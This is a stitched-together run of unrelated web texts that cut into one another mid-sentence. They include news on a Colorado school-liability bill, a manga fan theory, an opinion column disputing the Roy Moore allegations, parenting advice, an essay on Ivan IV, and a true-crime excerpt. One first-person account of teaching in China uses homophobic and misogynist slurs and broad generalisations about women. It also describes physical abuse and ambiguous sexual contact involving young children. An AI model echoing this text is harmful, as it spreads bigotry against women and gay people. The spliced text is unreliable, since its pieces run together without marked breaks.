subsequent employment rather than to their having lower earnings once a job is found.
Acknowledgments
Machine-readable bibliographic record - MARC, RIS, BibTeX
Document Object Identifier (DOI): 10.3386/w22665
Published: Katharine G. Abraham & John Haltiwanger & Kristin Sandusky & James R. Spletzer, 2019. "The Consequences of Long-Term Unemployment: Evidence from Linked Survey and Administrative Data," ILR Review, vol 72(2), pages 266-299. citation courtesy of
Users who downloaded this paper also downloaded* these:In a state shaken by tragic shootings, Colorado lawmakers advanced a measure to allow victims and relatives of school violence to sue the state for financial damages in what critics called a dramatic shift in policy.
The state Senate gave preliminary approval to the bill Tuesday after naming it in honor of Claire Davis, the 17-year-old senior shot and killed by a classmate at Arapahoe High School in 2013.
Senate President Bill Cadman, the lead sponsor, made the legislation one his top priorities and fought attempts to soften the measure.
“What is our goal with this bill? Moving our schools in the direction that provides increased safety for our kids with increased peace of mind for parents,” the Colorado Springs Republican said.
Backed by top House Democrats, the legislation — Senate Bill 213 — establishes a duty of “reasonable care” that makes school officials responsible for safety and allows for an exemption to the government immunity that protects against most lawsuits.
Under the bill, students, teachers and school employees killed or seriously injured can file a lawsuit for negligence and claim damages up to $350,000 a person. The cap is $900,000 total for multiple injuries in a single event.
Democratic lawmakers attempted to raise the bar for claims to a higher legal standard — such as deliberate indifference or gross negligence — citing concerns it would overly burden school districts, the largest of which are expected to see their liability insurance increase $20,000 to $30,000 per year.
“There is nowhere in state law where that (ability to sue the state) exists,” argued Sen. Mike Johnson, D-Denver and a former school principal. “What we are talking about is a massive expansion of the right to sue the state.”
“The goal is to affect change. The goal is to motivate behavior. The goal is to improve safety for our kids,” replied Sen. Mark Scheffel, R-Parker, the GOP majority leader.
A companion measure — Senate Bill 214 — creates a legislative committee to look at school safety and youth mental health.
Davis’ parents helped shape the legislation and stood to benefit under the original version, which would have set a retroactive effective date and allowed them to sue. Michael and Desiree Davis recently struck a deal with Littleton Public Schools to arbitrate their claim and avoid a protracted lawsuit.
The bill sponsors amended the measure to make it effective upon passage with the claims for damages available for incidents after June 30, 2017.Story highlights Hanan, 19, was captured by ISIS when militants took the town of Sinjar
She was among the women and girls separated to be sold as sex slaves
The names in this report have been changed out of security concerns for Yazidi family members still being held by ISIS.
Duhok, Iraqi Kurdistan (CNN) In the canvas expanse of the Shariya refugee camp, thousands of Yazidis live within hearing distance of one of Iraqi Kurdistan's frontlines with ISIS.
The vast majority of the camp's occupants are from the town of Sinjar and fled the ISIS assault there back in August. But not everyone escaped. ISIS took thousands of Yazidis captive.
Men faced a choice -- convert to Islam or be shot. But the Islamist militants separated the young women and girls to be sold as sex slaves.
In its fourth edition of "Dabiq," the ISIS
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point.
Yet.. why does Furuta leave Kaneki alive?
Furuta has only bothered to leave someone alive on purpose once in the past, and it created the greatest threat to his power as the Washuu King.
Furuta is not tactically stupid enough to leave loose ends. After all, the only time he’s ever surprised is when the audience is equally as surprised as him, such as Marude and Matsuri both coming back from the dead to challenge him. In those cases, with Marude’s disappearance, and Matsuri’s having several V squads sent after him he had every logical reason to assume they were dead. Furuta’s usual MO though, has always been to kill all the witnesses present, whether Matsumae, the V members with Eto, and even his attempt on Urie and Kuroiwa.
So why would Furuta suddenly change his strategy now and leave it to Hajime to simply torture and toy with Kaneki until he died. It can look like sadism, but if you remember Donato similiarly toyed with Urie, and yet at the same time both left him alive and gave him the exact same words he needed to grow later on in the story.
It was in despair and loss, what Kaneki has been avoiding from the absolute beginning where Urie finally learned.
So we have Furuta, our cruel and relentless teacher. There are also several hints left behind in the narrative still that this is not Kaneki’s final moments.
1) The parallels between the Arima Kishou fight and Kaneki’s moment of realization when absolutely all looked loss [x].
2) The implication that Kaneki could reverse his problem with a massive amount of cannibalism.
3) The fact that Dragon has yet to make an appearance despite being the so called final boss, and also that Uta suggested Dragon itself could be a weapon against the CCG rather than Goat.
4) Furuta’s suggestion that first he would win, and then dragon would appear. Well, in this chapter we witness Furuta claiming his absolute victory without the appearance of dragon afterwards.
5) The numerous amounts of foreshadowing that Furuta was orchestrating his own death, and actually did not care at all for V and the Washuu’s wars.
(Furuta even makes a promise here that he’ll mess up the one eyed king for Eto. Earlier he suggests in gest that the two of them should work and cooperate together. )
6) The Nagaraaj. If the manga ends here then Ayato’s journey to the 24th ward was incredibly pointless. As well as the explanation about the old one eyed king. Ayato wouldn’t be strong enough to counter Juuzou so was the explanation simply to get him out of the way.
Or was it forehshadowing to establish that if pushed to this point, this is a power that Kaneki himself could summon. That the same way the Original One Eyed King sunk the 24th ward an entire city in order to retreat from the newly formed black investigators and V, that when it seems all hope is lost, Kaneki might summon this power from himself. That this could be dragon, especially since Furuta deliberately says Dragon is named in honor of his Washuu roots. The legendary Nagaraaj are also dragon kings in the japanese version of the myth, according to @randomthoughtpatterns.
Not only that but the presence of Oggai all around him leave Kaneki with a framed out source of RC Cells to buffet on, if he truly decided to keep fighting.
7) 143 Parallels
Chapter 143 of Original Tokyo Ghoul, was called Ken [x].
Chapter 62, where Kaneki reached a similiar realization was called Kaneki.
Chapter 143, is completely without a title. In otherwords it’s nameless.
Perhaps then this is the chapter, where finally Kaneki accepts his role. Where he finally decides to truly become the nameless king.
Only after having learned from the loss he experienced right in front of his eyes, what exactly it was that needed to be changed.Fantasy novel series Shannara is to be adapted for television.
Written by author Terry Brooks, the book franchise began in 1977 with The Sword of Shannara and is set hundreds of years after the destruction of human civilisation.
Sonar Entertainment has now acquired the rights and has teamed with Farah Films to produce a television adaptation, Variety reports.
The show's potential first season would be based on Brooks's second novel, The Elfstones of Shannara, first published in 1982.
Brooks himself will executive produce, with a showrunner and a director to be hired before the project is shopped to US networks.
"Partnering with Sonar Entertainment and Farah Films on adapting the Shannara saga for television is an exciting prospect," said the writer.
"Everything about both companies suggests the result will be one that both old and new fans of the books will readily embrace. I am committed to doing everything I can to help make this happen."
A movie adaptation of the Shannara series was previously in the works, with Warner Bros having purchased the film rights.
> Darkover novels to become TV series
> Game of Thrones season three to be'more cinematic', says writerFor the most up-to-date collection of evidence in my case, demonstrating these accusations are indeed false, now see my summary and links to court documents from June of 2018.
-:-
All the allegations made public against me this month are in significant part false and constitute defamation. I will be fighting them, in both a court of law and public evidence and discourse. I will apologize for anything I actually did, if I haven’t already, but what I have actually done is not what is being described. I am fully engaged in taking legal action now. When stage one of that process is completed I will publish more about the truth of what is going on. Which is substantially different from what you are being told.
But I do not want FreethoughtBlogs or its mission to be compromised by having to devote resources to defending me or vetting claims or choosing sides. They have every reason to be concerned by prima facie claims of this nature, and I agree with their procedures to date, except for publishing defamatory statements about me before investigating any of them. They are actually not equipped to investigate these claims to determine which elements of them are true and which false. Others can. In fact I always welcome professional, independent investigations of any claim made against me, now or in future.
One such investigation, at the behest of the Secular Student Alliance, is underway and nearly completed. But FreethoughtBlogs lacks the resources for such a task itself and should be independent of this matter until the facts come to light. I have therefore decided it’s best for me to move my blog content to my own domain where I can operate independently and take all the heat myself, now and in future. Accordingly I have moved my blog here to my own website.
I will not be discussing this matter in public again until the first stage of my legal action is completed. My next announcement will be published here and via twitter.Apparently, the GOP is now the party of CHILD MOLESTATION! At least the media tell me that’s the meaning of President Trump’s endorsement of Senate candidate Roy Moore.
Are we allowed to mention that Moore denies the charges?
It’s hard to disprove accusations from 40 years ago — that’s why we have statutes of limitations — but, despite that, there are a surprising number of problems with the allegations against Moore.
One accuser has been called a liar by her own stepson, who says he’s voting for Moore. Another neglected to mention that Moore sent her brother to prison.
In defense of one of Moore’s accusers, Gloria Allred produced a yearbook allegedly signed by Moore, apparently in two different inks and giving his title as “D.A.” He was not the district attorney and didn’t sign his name that way. Allred refuses to produce the yearbook for handwriting analysis or to deny that it’s a forgery.
Contrary to what you have heard one million times a day on TV, there aren’t “multiple accusers.” There are two, and that’s including the one with the fishy yearbook inscription whose stepson says she’s lying.
The other “accusers” claim he dated them when they were 16 to 19 years old and Moore was in his early 30s — or younger than Jerry Seinfeld was (39) when he dated 17-year-old Shoshanna Lonstein.
That would also make Moore 15 years younger than Bill Clinton when he had a 22-year-old intern performing oral sex on him in the Oval Office. Moore’s date “accusers” say he did nothing more than kiss them.
The media throw the dating claims in with the molestation claims so they can keep howling about “multiple accusers.” In fact, only two women are alleging anything that, if true, would merit national attention.
TV anchors think it’s very clever of them to ask anyone who isn’t bowled over by the claims of Moore’s (two) accusers: So you’re calling the women “liars”?
Checkmate!
There’s a lot of room between HE’S A CHILD MOLESTER and THE WOMEN ARE LIARS.
They could be misremembering. They could be confusing Moore with someone else. They could be suggestible. They could be delusional. They could have repeated the story to themselves so many times that they believe it. They could be really, really disgusted with Jerry Seinfeld.
The main accuser has gotten a lot of her facts wrong, such as where she was living at the time (she moved to another town 10 days after meeting Moore); the corner where she allegedly met Moore for their liaisons (she named a corner more than a mile away from her house, across a busy intersection); and when she began to get into trouble with boys and alcohol (it was before meeting Moore, not after).
It was 40 years ago! But it’s just weeks before the election and that’s the media’s favorite time to produce wild accusations against Republicans.
Four days before the 1992 presidential election, Independent Counsel Lawrence Walsh dropped an indictment of Reagan’s defense secretary, Caspar Weinberger, which seemed to implicate President George H.W. Bush in a lie. Bush lost the election, and about a month later a judge threw out the indictment.
In the middle of the 2004 presidential campaign, CBS’s Dan Rather produced forged documents allegedly proving that President George W. Bush had shirked his National Guard service decades earlier.
In September 2006, just before the midterm elections, the media released GOP congressman Mark Foley’s creepy emails to House pages. No physical contact was alleged. The corpus delicti was that Foley told pages they looked “hot” in their soccer shorts.
The entire GOP was crucified by the media for not having discovered this “pedophile” in its midst. Republican congressmen who had never met Foley lost their seats because of the media’s timing of the email release.
More than 20 years earlier, a Democratic congressman, Gerry Studds, who had actually buggered a 17-year-old page, indignantly defied his House censure and proudly stood for re-election. His outraged Massachusetts constituents elected him six more times. Washington Post columnist Colman McCarthy denounced the “witch hunt” against Studds, saying his critics wanted “to torch the congressman for his private life.”
When Studds died in 2006, The Washington Post’s headline on his obituary was: Gerry Studds; Gay Pioneer in Congress. The New York Times’ headline was, Gerry Studds Dies at 69; First Openly Gay Congressman.
I supported Rep. Mo Brooks in the primary, but Alabamians would be crazy to let the media vilification of Moore affect their vote. Moore’s real crime is that he’s a believing Christian who goes around wantonly quoting the Bible on sodomy. Journalists react to that like Linda Blair in “The Exorcist.”
The media say that Republicans support Moore just because they want another GOP vote in the Senate. I support Moore just because I hate the media.Hello Janet,
I write to you wondering how to deal with my very strong-willed and independent 5-year-old. As a toddler and emerging preschooler, she would express very large emotions. I would try to help her name and accept them by saying calmly, “You are feeling frustrated. Would you like to take a break?” If she felt angry or frustrated, she would yell at me, “I’m NOT FRUSTRATED!!!” This was often accompanied by a fit or meltdown, and I’ve always done my best to accept her intense feelings and be present with her. She continues to negate my naming of her emotions to this day.
She has a very strong desire to be right, even to the point of saying, “I’m right and you are wrong!” I’ve tried to neutrally and calmly offer her the language and skills she needs to learn about and manage her emotions, but as she is growing, her resistance to these lessons is growing as well. I know that much of this is normal behavior, and much is also her own personality. I’m just not sure how to respond to “I’m NOT ANGRY!” being screamed at me when I am trying to be a calm, confident, respectful parent.
Thank you for any insight,
Amy
Hi, Amy:
Intense, strong-willed children can certainly be a challenge. They express more feelings, more explosively, more often. This is especially true in the early years and when they experience stress. In the moment, we just want it to end, but just like children whose emotional expressions may be gentler and less dramatic, they need to have their feelings heard and accepted as is.
It sounds like you’re making valiant efforts to deliver that message to your daughter, but some subtle misconceptions in your approach are preventing her from receiving it. I would consider your goal. It might be that you just want her to stop behaving this way, which would be quite understandable! Unfortunately, it’s doubtful she’s capable of controlling her feelings at this time in her life and attempting to do so to please her parents wouldn’t be healthy for her.
So a more positive, achievable goal would be to practice genuinely, consistently and completely accepting the intense ebb and flow of her emotions. Granted, this is a supreme test of your patience and nerves, but when her raging storms are normalized for both of you, your life together will feel more manageable.
Here are my thoughts for addressing some common misconceptions about children and feelings and some adjustments I advise for more successfully handling your daughter’s intense reactions:
Acknowledging isn’t just about words
It’s about connecting with our children — through our words, yes, but also through our eye contact and an encouraging, open, validating tone that assures them that we see, hear and accept them. This does not mean labeling their feelings (I’ll talk about that in a moment). I demonstrate an encouraging tone in many of my podcasts, particularly: Hard to Feel Compassion for Unreasonable Emotions, Kids Saying “No” to Boundaries, and Guiding Toddlers with Connection.
The key to a helpful response is recognizing our motives, which children are almost always aware of on some level. Our motive in acknowledging our children’s feelings should be to connect with them and validate the feelings so that they feel encouraged to share them completely. “You seem angry about that” should be another way of saying, “I’m perfectly okay with this feeling you are sharing. In fact, I want to know and try to understand what’s going on with you. Keep telling me about that for as long as you need to.”
Most of us, however, are inclined to have a personal agenda that is the opposite of acceptance. Our children’s outbursts are uncomfortable for us, and we’d like them to end as quickly as possible. With that as our intention, we might acknowledge our child’s emotions to put a kind of button on them (an “off” button). So when we acknowledge to our upset child, “You’re angry,” the subtext they hear might be more like: “I got it! I hear you, so now you can stop being angry, okay?” When children sense the impatience and lack of full acceptance that we are actually feeling (under the guise of validation), it can be intensely frustrating and infuriating for them.
“I’m not angry!” is just another way of expressing frustration and the response strong-willed children typically have when they sense our discomfort and subtle pushback. What she’s really saying is, “STOP labeling and trying to fix my feelings and just please let me have them! Just let me feel!” So, don’t give her another reason to feel frustrated and angry. If she does make a statement like “I’m not angry!” I would respond with an accepting, “Okay!”
In all these cases, I’d focus on being as patient and accepting as possible, and my inner mantra might be Just let the feelings be; or These feelings belong to my child, not me. This doesn’t mean we should feel held captive to our child while she’s expressing herself. After genuinely acknowledging her, you can move away if there’s something you need to do. The message of our unruffled, nonjudgmental acceptance is what matters.
If we’re doing something about the feelings, we’re not accepting them
Acceptance is a patient, just-letting-it-be kind of attitude. If we sense ourselves wanting to take action – to say or do the right thing – we’re most likely not really accepting, and our children will know that. When we try to show or teach acceptance, we actually demonstrate the opposite: that we’re impatient, uncomfortable, can’t accept, and just want to get it over with.
For example, you shared: “I would try to help her name and accept them by saying calmly, “You are feeling frustrated.” Generally, I don’t advise naming emotions, because when we’re deciding what another person is experiencing, we risk being inaccurate. So I would only label feelings in a question or as a possibility: “You seem very angry about that.” Or as a way to empathize: “It can be so frustrating when that happens.” I would simply state what I know for sure: “You didn’t want me to say ‘no’ to the ice cream!”
It is true that with very young children, our suggestions that they seem angry, sad, frustrated, etc., can help them to learn to identify these feelings and develop social intelligence. But by 4 or 5 years old, it’s best to say very little. When in doubt, relax, breathe, maybe nod your head, but say nothing at all.
You also shared that you asked your frustrated daughter: “Would you like to take a break?” This is a loving attempt to resolve her feelings for her when what she needs is your patience and belief in her that it’s okay to express them completely. It’s what she needs to do at that moment, so taking a break will only postpone and perhaps intensify the next outburst.
Then you offered: “I’ve tried to neutrally and calmly offer her the language and skills she needs to learn about and manage her emotions.” Again, you’re in action here when your daughter needs more of your acceptance and trust in her process.
Children can’t vent their feelings in a reasonable, analytical manner.
Feelings are often unreasonable and can’t be expressed through words alone. So rather than naming her feelings, calmly hear and accept them at full strength. Rather than questioning or correcting her need to be “right,” accept and rise above it. Rather than offering her a break or other tools for managing her emotions, trust and fully accept her intense responses and over-reactions.
“I know that much of this is normal behavior, and much is also her own personality.” I would trust this voice. This is where you’ll find confidence — your perception of these outbursts as perfectly normal for your daughter, rather than something to fix or manage. This will help her to accept them as well. It begins with us.
Basics for understanding our strong-willed children:
They need to vent their strong feelings regularly. Intense, emotional reactions to even the most minor disappointments are to be expected. What might appear to be a crisis is, for them, a healthy explosion. Blasts and meltdowns need to be allowed, normalized, and even welcomed, not punished, calmed, or fixed. It isn’t helpful to attempt to direct them to control their emotions. They do so as their brain matures and through our modeling, acceptance, understanding, and patience. They need us to rise tall as strong, confident, benevolent leaders, not get caught up in squabbles, ride along with them on their emotional rollercoasters, or take their blasts personally. Know that on the other side of this “coin” is positive power, accomplishment, leadership, much that will make us proud. We’re likely already seeing some of that and there’ll be many more surprises to come.
I share more advice for handling our children’s strong emotions in my books
Elevating Child Care: A Guide to Respectful Parenting and
No Bad Kids: Toddler Discipline Without Shame
And here’s one of my podcasts on this topic:VLADIMIR PUTIN has not been verifiably seen in public since March 5th, and no one knows why. The Russian president has postponed a planned visit on March 11th to Kazakhstan. Moscow is abuzz with rumours linking the president's sudden reticence to the murder of Boris Nemtsov. Some hint that tension between Mr Putin and his Chechen surrogate, Ramzan Kadyrov, over the arrest of five Chechen men accused of killing Mr Nemtsov is to blame. Other rumours have been more outlandish. Andre Illarionov, a former advisor of Mr Putin's, wrote in a blog post that a coup might be underway; a Swiss tabloid reported that Mr Putin had flown to Switzerland to attend the birth of a love child with a Russian gymnast. Russia's government says Mr Putin has simply been feeling a bit unwell.
What is one to make of it all? In the absence of better information, one might ask what it has meant in the past when rulers of secretive governments vanished from public view. Of course, analogising current Russian politics to a distant and vastly different past can easily mislead. But in situations like this such comparisons can be educational, and they are certainly lots of fun.
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Take the year 1564, a rather bad one for Tsar Ivan IV (also known as the "Formidable" or "Terrible") and many of his more powerful subjects. The tsar's wife Alexandra had died several years earlier after a wasting illness. The tsar believed someone in the Kremlin had poisoned her. Disputes and suspicions of disloyalty among the boyars (as the senior nobility were known) led Ivan to engage in increasingly strict repression, including the execution of Daniil Adashev, a hero of Russia's 1559 military campaign in Crimea, along with his family.
After Adashev's execution, prince Andrei Kurbskiy, formerly a favourite general of Ivan's, defected to the West. From the safety of Lithuania, Kurbskiy sent Ivan a famous series of letters denouncing his oppression of the nobles and generals who had so patriotically conquered new territories for him. Ivan himself was a better stylist than Kurbskiy, and sent back lengthy, brutally witty replies that were distributed to a broad audience—perhaps the earliest examples of a Russian regime engaging in ideological propaganda. Ivan is generally seen as pioneering the combination of high ideological appeal and vulgar populist insults which so many Russian leaders have since deployed. Among other things, Ivan asks: "If you are as just and pious as you say, why did you fear a guiltless death, which is no death but gain?" In other words, if you're so righteous, why didn't you stay here and let me kill you? He compares Kurbskiy unfavourably to the latter's emissary Vaska Shibanov, who, he says, had the bravery to continue praising his master even as Ivan had him tortured to death.
Ivan faced challenges within and without. He had turned his attention from Crimea to invading the Baltics, but with Kurbskiy now fighting for the Lithuanians, the situation was developing not necessarily to his advantage. The boyars were increasingly nervous that defeats abroad would lead to accusations of treason at home. On December 3rd Ivan left Moscow with an unusually large retinue on what was presented as a routine pilgrimage to one of the monasteries that surround Moscow. Some historians describe Ivan's departure as "secret"; in any case, he made no arrangements for who would rule in his absence.
And then, for a month, nothing was heard from the tsar.
Ivan, it turned out, had settled into residence in the fortress town of Alexandra Sloboda, west of Moscow. A month after the tsar's disappearance, two letters from him were read out by church prelates in Moscow. The first announced his intention to abdicate. He blamed the boyars' disloyalty and squabbling for his decision. The second addressed the people of Moscow, whom he praised for their Christian loyalty in the face of the boyars' impiety.
Unable to rule in Ivan's absence or to settle internal disputes, the boyars grew afraid that the state might disintegrate. Ivan's sudden departure had demonstrated Russia's complete dependence on his person. There were no plausible alternative rulers. The boyars sent Ivan a delegation requesting that he return to the throne. Ivan agreed, on the condition that he be allowed to arrest anyone on suspicion of treason, regardless of rank.
On returning to Moscow in 1565, Ivan established a new institution known as the oprichnina, effectively a type of secret police under his direct control. The ranks of the oprichnina were largely filled with lower gentry who swore personal loyalty to the tsar. For the next seven years, the oprichnina subjected Russia to a reign of terror, arresting and executing boyars for treason and confiscating their estates, which were promptly awarded to the oprichniki themselves. After some time, inevitably, the oprichniki began targeting each other for denunciation and execution, and in 1572 Ivan dissolved the increasingly chaotic organisation.
In the meantime the independent authority and privilege of the boyar class had been smashed. The tsar's sudden disappearance from Moscow at the end of 1564 had forced the aristocracy to acknowledge its weakness, and to give him free rein to reform as he saw fit. Ivan's state-building exercise had taken Russia another step towards solidifying the centralised, autocratic monarchy that would rule until 1917.
What does this have to do with Mr Putin's sudden absence? Probably nothing. Perhaps Mr Putin really has been sick. He is scheduled to meet with Almazbek Atamaev, president of Kyrgyzstan, in St Petersburg on Monday, which may dispel the rumours. In the meantime it is useful to recall that when an autocrat disappears, it is not always a sign of weakness. As many analysts point out, Mr Putin's vanishing act has Russians as keenly aware as ever of the government's dependence upon him. Mr Putin, if healthy and unbothered, will not mind the reminder.Hello, my name is Max and from April to December 2013, I worked as an English teacher in several schools in China. I’ll limit myself to a brief account of my first workplace in a city called 塘沽天津 Tánggū Tiānjīn /tʰaŋ˧ ku˥/ /tʰiɛn˥ tɕin˥/ on the northeastern coast. There were about 100 kids in total ranging from 5-12 years in age. The classes were divided by age group, and the oldest comprising a mere 5 children. I was supposed to teach 40 minute English lessons based on a particular course designed for children, otherwise I would spend the day in a particular class, talk with the kids and help them practice English. This sounds simple enough but, alas, nothing in China is a simple at it seems…
All but one ”teacher” were females in their late teens to mid-twenties. They were tasked with coordinating the classes’ daily activities. They were very nice on the surface but would change completely with the kids: They became super-authoritarian bullies who would act sternly even if the kids behaved; in China, the default state of one’s superior is anger which must be assuaged constantly, as a bare minimum; one is simply guilty of something; they make sure by setting one up to fail as an excuse to keep one on eternal report… These girls all employed emotional and physical reprimand to maintain order (which never lasted very long) and by far, most of the corporal punishment was inflicted on the boys. The job got wearisome as these class-coordinators wouldn’t allow me to talk to the kids when I spent the day with their class: they made me sit and basically do nothing the whole day. I complained to my boss but he wouldn’t do anything. As usual, the man in charge was basically a figure head. What I’ve noticed in human society is that women want the image of male authority but as far as the actual running of the system, they rule autocratically and appeal to male violence for enforcement. This can be seen in the family unit and explains why women vote overwhelmingly for men.
I will describe a few of these people:
One used the English name Anna. She was the contact between my boss and I. Once there she was incredibly nice: helping with everything, translating for our boss, taking me to the barber, buying me food and even coming to my apartment and cleaning the floor (I should have been suspicious…) At work she showed me what software to use and how to conduct a class. She started poisoning my mind against my boss: claiming that he treated them badly etc. so whenever I found it difficult to deal with him, it only added to the perception that she had crafted in my mind. I continually told her how appreciative I was of her help and how I truly felt she was on my side (*facepalm*, gentlemen) Meanwhile, she was telling our boss that I was rude and incompetent etc. And in the end, it became apparent that she had not trained me properly in the course material e.g. She never even told me that the course included workbooks the kids had to complete! (She once tore the pages out of a girl’s work book because of some wrong answers.) When I finally had to leave, and my boss turned out to be (seemingly) honorable, I realized she was lying about him all the time and as I was walking out, I crossed her path and told her that I now knew the truth but she just walked passed without even looking as I was now no longer a competitor for her job and all the niceties ceased: she was done using me and I was now disposed of. One time, at the end of a lesson, for a reason I can’t remember, I threw a plush animal doll at her out of anger which missed. She went crying to our boss who then made a big show lecturing me on how a man who hits a woman is not a “real” man and I laughed. I had to yell at her a lot because she constantly gave me inadequate or contrary information. She would also barge in and take over the lesson because I wasn’t doing it right. I got upset once and she was so offended that she stormed away and I felt so bad that I wrote a long message on Skype asking for forgiveness because she was such a good friend bla, bla, bla. Needless to say, I was simped.
One was called Lilly. She was clearly a bulldyke and played the role of the “Man” among the girls. She spoke incredibly fast and only screamed at the children. She projected an even more authoritarian than usual presence at the kids. It was clear that she knew how to emotionally manipulate them and make them cry at will. Any excuse to lash out at them, screaming and intimidating, grabbing their shoulders yelling. Slapping was common. She made sure to continue badgering a kid until they cried. The longer it took, the more upset she got and applied the technique of rapid fire questions immoderately followed by curt matrix prompting e.g. “Huh, huh?!” “Get it, get it?!/Understand?!” “Do you, do you?!” which invariably made them cry, then she would back off satisfied. Even though I couldn’t understand what she was saying, it was obvious.
Her favorite to pick on was this insecure seeming little boy. She was always harsher on him. Once, I saw her talking to another girl, pointing him out and then started yelling at the bewildered boy applying the above method until he cried and then took pleasure in consoling him with physical affection. I saw her do it to another boy; it seemed as if she made them cry in order to then console them as if that were the only way for her to exercise any matural/nurturing instinct. Many of them used the technique of lulling a kid into a false sense of security by being warm and nice, sitting them on their laps, coaxing them to reveal or say something in particular and immediately explode in a rage, yelling and slapping reproofing them for whatever it was they said which reminded me of how my mother would use the same tactic, even reassuring me that she wasn’t going to get mad and I could tell her what it was I supposedly did and then explode in a rage hitting and spanking me in a mistrust of her sudden shows of affection… Lilly would do little things like turn off a light I had just turned on or opening a door I closed etc. Small signs to convey her authority over me and one time when I stood up for the kids she ran to our boss crying and alleging that I used my tablet to record her. At the beginning of one class, she simply started screaming at me to get out which, of course, I couldn’t do in front of the kids for fear of losing credibility. They had to get our boss who then asked me to exit the room. Once there was a fire nearby and it caught the attention of a boy so Lilly manhandeled him to the window and made him look at it as if standing in a corner while class continued and when he turned around crying she would push him back yelling. If boys tipped back in their chairs, she would kick it out from under them.
Another one was the girl I told you about in the school yard. I don’t know her name but she was a bitch like the rest: just as unnecessarily authoritarian and constantly screaming and manhandling the children. She’d drag a chair across the room, letting it drop and sit backwards on it to intimidate the children while berating them. As I wasn’t allowed to talk to the kids (even though that was my goddamn job!) I would sit in a corner and read children books to improve my Mandarin. One day a boy sat down with me and we read together. So she got up, came over, yelled at him to get up and pushed him down to fall on his back; it killed me how stoic he was trying to be as he tried holding back the tears. To get even, I took a chair and imitated her routine. I sat right next to her indignantly drinking my can of coffee and tossing it over her desk into the garbage. Then, I can’t quite remember, she screamed at me, crumpled up some paper and threw it at me so I tore off the sign taped in front of her desk and tossed it to the floor. She went down to the boss’s office crying and complained that I was harassing her. Fortunately, this incident was captured on security camera and my boss said he would deal with it (which I doubted) As I mentioned on Skype, the kids were dress-rehearsing outside and one boy from her class was enjoying himself and I swear her face turned to stone and she walked over to rip off his hat and throw it at him and then just walked away leaving the boy in tears. I got her back though, when, instead of keeping order and translating for me during a lesson, she purposely left me to my own devises and worked on a collage laid on the floor which provided me with a great opportunity to direct the children at her with the bubbles I would blow at the end of the lesson right over her collage; the kids ran and jumped over it rendering her speechless with rage.
I bought a book of paper airplane cut-outs and assembled a few to add to the kids’ toys. The boys were thrilled and vied with each other to play with them. I left the book so they could figure out how to make the rest on their own. The teachers were happy. It wasn’t long before it disappeared.
I forget the name of the girl with glasses. I remember once how she walked around with some plastic stick under her arm like a British sergeant-major as she paced back and forth hitting chairs with it. It was clear by her swagger and the look in her face that her deportment was coming form a visceral place. She placed it behind a book case and I grabbed it during lunch sarcastically remarking that maintaining order is a simple matter of beating the kids which I mimicked. Almost solipsistically (which is a misnomer…), she was horrified at my action and notified my boss. I explained to him that I was imitating her. Once, as the kids were sitting in a circle, she had a boy on her lap and was being affectionate including kissing him. It got kinda weird as some of those were on his lips and were a bit long. The boy was then enthusiastically trying to kiss her on the lips which she let him do a few times. After, she laughed with another girl in an embarrassed kind of way drawing her attention to the boy. I don’t know what it was but it sickens me to think that it could have been an erection.
The receptionist also doubled as the dance teacher. She was normal enough until class time when she literally screamed everything she said; I don’t know why, she just screamed at them.
The only male teacher during my tenure was a homosexual with the English name Thomas. He was one of the two teachers for the level 2 kids which was the biggest class. He was just as authoritarian as the others but was particularly prone to administering corporal punishment to the boys: slapping, hitting, manhandling, roughing up etc. There was one particular boy in that class, who seemed to suffer from something like ADHD and he received the most abuse including non physical stuff like pretending Thomas was going to throw his jacket out the window, have his hat thrown down the stairwell, be left out in the hall etc. After lunch, the kids would take a nap and change into pajamas. He helped a boy change and playing with him he flicked the boys penis as if it were like jokingly pulling an ear or tickling him. Another time, I saw him do something which seemed like giving a boy a belly raspberry which I sincerely
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4, Linda indicated that another of her husbands had been killed in Vietnam. Given her taste for military men, Jones’ first meeting with “Linda Sholvia” at Great Lakes Naval Training Center takes on a different cast. He thought he was lucky to find such a glamorous woman. It’s more likely that she found him—that Taylor saw something in the 21-year-old Jones that she thought she could exploit.
In 1978, one of her lawyers wrote that Linda Taylor was likely psychotic, that she “was incapable of knowing whether or not she was telling the truth.” Johnnie Harbaugh is certain that’s not the case. “She was cold,” he says. “She knew what was right and wrong, but she was choosing wrong.”
11 “I’ll Blow Your Head Off”
For Linda Taylor, people were consumable goods, objects to cultivate, manipulate, and discard. Once she’d extracted something of value—an identity, a check, a life insurance claim—she’d move on to someone else. No matter her circumstances, and no matter her surroundings, there was always a new target.
What kind of person behaves this way? In the 1970s, psychologist Robert Hare developed a checklist to assess a given subject’s personality. The symptoms on Hare’s list read like a catalog of Linda Taylor’s known behaviors and personal characteristics: glib and superficial charm, pathological lying, manipulativeness, lack of empathy, parasitic lifestyle, frequent short-term relationships, and criminal versatility.
Of the 20 items on the Hare Psychopathy Checklist–Revised, nearly every one describes the welfare queen to some degree. Dr. Steve Band, a behavioral science consultant and an expert on criminal behavior, says “people with that personality know right from wrong.” Dr. James Fallon, a professor of psychiatry and human behavior at the University of California at Irvine and the author of The Psychopath Inside, says that Taylor “screams psychopathy.” Along with deriving pleasure from criminal behavior, he says, psychopaths “really like getting away with it”—that “the ones who have intelligence, they don’t want to get caught.”
Despite the striking synchronicity between this checklist and Taylor’s behavior, diagnosing someone as a psychopath isn’t as easy as ticking a set of boxes. As Dave Cullen wrote for Slate in 2004, it took an elite group of mental health experts to establish Columbine shooter Eric Harris’ psychopathic “pattern of grandiosity, glibness, contempt, lack of empathy, and superiority.”
If a similar team of psychologists scrutinized the welfare queen, Hare’s checklist would be a logical place to start. For her part, Taylor’s daughter-in-law Carol Harbaugh has a simpler list, one with just three points: “She was brutal. She was mean. She was terrible.”
Some of Taylor’s victims were spared her worst behavior—they just learned an expensive lesson and got on with their lives. Kenneth Lynch, who’s now in his early 80s, bought a property with Taylor in Holmes County, Fla. Lynch remembers her saying that her husband had been killed by mobsters in Chicago. He also says that Taylor never came up with her share of the money, though she did pilfer Lynch’s last name. Reta Hunter, who lives in Live Oak, Fla., says “Linda Lynch” led her to stop trusting people. Taylor told Hunter she was a psychic who’d descended from Caribbean royalty, and that she could help remedy her relationship with her daughter. “The last time I seen her it cost me $80 for about 20 minutes,” Hunter says. “She could take you, honey. She was a slick talker.”
Not all of Linda Taylor’s relationships ended so harmlessly. Sherman Ray took a shotgun blast to the chest. Patricia Parks’ life ended in her daughter’s bedroom with her body pumped full of phenobarbital. And an elderly African-American woman named Mildred Markham died in Graceville, Fla., far away from her home and loved ones.
